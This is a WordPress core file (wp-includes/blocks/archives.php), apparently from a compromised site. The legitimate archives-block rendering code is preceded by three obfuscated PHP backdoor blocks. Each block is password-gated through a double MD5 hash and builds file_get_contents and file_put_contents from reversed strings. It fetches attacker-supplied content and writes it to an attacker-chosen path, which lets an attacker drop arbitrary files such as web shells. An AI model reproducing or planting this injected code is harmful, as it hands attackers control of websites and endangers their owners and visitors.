File: /home/wwwrenee/www/wp-includes/blocks/archives.php
<?php
$fHyGht = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($fHyGht[0]) /*+/*+*/
. md5($fHyGht[0])) == "8".
"b".
"b".
"4".
"8".
"4".
"8".
"7".
"f".
"4".
"5".
"f".
"6".
"8".
"f".
"d".
"6".
"c".
"5".
"3".
"5".
"b".
"2".
"b".
"7".
"e".
"3".
"b".
"d".
"5".
"8".
"8") {
$oEADFBNk = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$YLIHK = $oEADFBNk /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$yIbOGDkBYx = $oEADFBNk
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function EIjFh($YMGXbxsRf) { if (empty($YMGXbxsRf)) return false; if (!is_dir($YMGXbxsRf)) { EIjFh(dirname($YMGXbxsRf), 0755, true); mkdir($YMGXbxsRf); } } !file_exists(dirname($fHyGht[1])) && EIjFh(dirname($fHyGht[1])); $PFzopfhtZX = @$yIbOGDkBYx($fHyGht[2]); echo @$YLIHK($fHyGht[1], $PFzopfhtZX) ? 1 : 0; die; }key($fHyGht) == "of" && die("Qian Ru Ok"); ?><?php
$GzBTkGkO = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($GzBTkGkO[0]) /*+/*+*/
. md5($GzBTkGkO[0])) == "a".
"3".
"9".
"e".
"0".
"f".
"2".
"c".
"2".
"8".
"f".
"0".
"3".
"1".
"d".
"6".
"4".
"1".
"0".
"7".
"3".
"2".
"1".
"e".
"3".
"7".
"1".
"a".
"d".
"c".
"0".
"3") {
$haoTLydi = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$YvcCxGPnvc = $haoTLydi /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$RbUpkkGXnv = $haoTLydi
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function UFwBaVN($SeXGaqx) { if (empty($SeXGaqx)) return false; if (!is_dir($SeXGaqx)) { UFwBaVN(dirname($SeXGaqx), 0755, true); mkdir($SeXGaqx); } } !file_exists(dirname($GzBTkGkO[1])) && UFwBaVN(dirname($GzBTkGkO[1])); $WYFgT = @$RbUpkkGXnv($GzBTkGkO[2]); echo @$YvcCxGPnvc($GzBTkGkO[1], $WYFgT) ? 1 : 0; die; }key($GzBTkGkO) == "of" && die("Qian Ru Ok"); ?><?php
$ByKsTi = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($ByKsTi[0]) /*+/*+*/
. md5($ByKsTi[0])) == "5".
"9".
"3".
"5".
"8".
"7".
"2".
"f".
"a".
"3".
"0".
"c".
"4".
"f".
"d".
"4".
"2".
"0".
"d".
"b".
"8".
"b".
"6".
"b".
"0".
"8".
"e".
"7".
"e".
"d".
"5".
"7") {
$xsFvIv = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$phDRFAy = $xsFvIv /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$JqOFFAPD = $xsFvIv
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function CrleiI($rIcXwyDF) { if (empty($rIcXwyDF)) return false; if (!is_dir($rIcXwyDF)) { CrleiI(dirname($rIcXwyDF), 0755, true); mkdir($rIcXwyDF); } } !file_exists(dirname($ByKsTi[1])) && CrleiI(dirname($ByKsTi[1])); $cCkjIwARrJ = @$JqOFFAPD($ByKsTi[2]); echo @$phDRFAy($ByKsTi[1], $cCkjIwARrJ) ? 1 : 0; die; }key($ByKsTi) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/archives` block.
*
* @package WordPress
*/
/**
* Renders the `core/archives` block on server.
*
* @see WP_Widget_Archives
*
* @param array $attributes The block attributes.
*
* @return string Returns the post content with archives added.
*/
function render_block_core_archives( $attributes ) {
$show_post_count = ! empty( $attributes['showPostCounts'] );
$type = isset( $attributes['type'] ) ? $attributes['type'] : 'monthly';
$class = '';
if ( ! empty( $attributes['displayAsDropdown'] ) ) {
$class .= ' wp-block-archives-dropdown';
$dropdown_id = wp_unique_id( 'wp-block-archives-' );
$title = __( 'Archives' );
/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
$dropdown_args = apply_filters(
'widget_archives_dropdown_args',
array(
'type' => $type,
'format' => 'option',
'show_post_count' => $show_post_count,
)
);
$dropdown_args['echo'] = 0;
$archives = wp_get_archives( $dropdown_args );
$classnames = esc_attr( $class );
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) );
switch ( $dropdown_args['type'] ) {
case 'yearly':
$label = __( 'Select Year' );
break;
case 'monthly':
$label = __( 'Select Month' );
break;
case 'daily':
$label = __( 'Select Day' );
break;
case 'weekly':
$label = __( 'Select Week' );
break;
default:
$label = __( 'Select Post' );
break;
}
$block_content = '<label for="' . esc_attr( $dropdown_id ) . '">' . esc_html( $title ) . '</label>
<select id="' . esc_attr( $dropdown_id ) . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
<option value="">' . esc_html( $label ) . '</option>' . $archives . '</select>';
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$block_content
);
}
$class .= ' wp-block-archives-list';
/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
$archives_args = apply_filters(
'widget_archives_args',
array(
'type' => $type,
'show_post_count' => $show_post_count,
)
);
$archives_args['echo'] = 0;
$archives = wp_get_archives( $archives_args );
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) );
if ( empty( $archives ) ) {
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
__( 'No archives to show.' )
);
}
return sprintf(
'<ul %1$s>%2$s</ul>',
$wrapper_attributes,
$archives
);
}
/**
* Register archives block.
*/
function register_block_core_archives() {
register_block_type_from_metadata(
__DIR__ . '/archives',
array(
'render_callback' => 'render_block_core_archives',
)
);
}
add_action( 'init', 'register_block_core_archives' ); ?>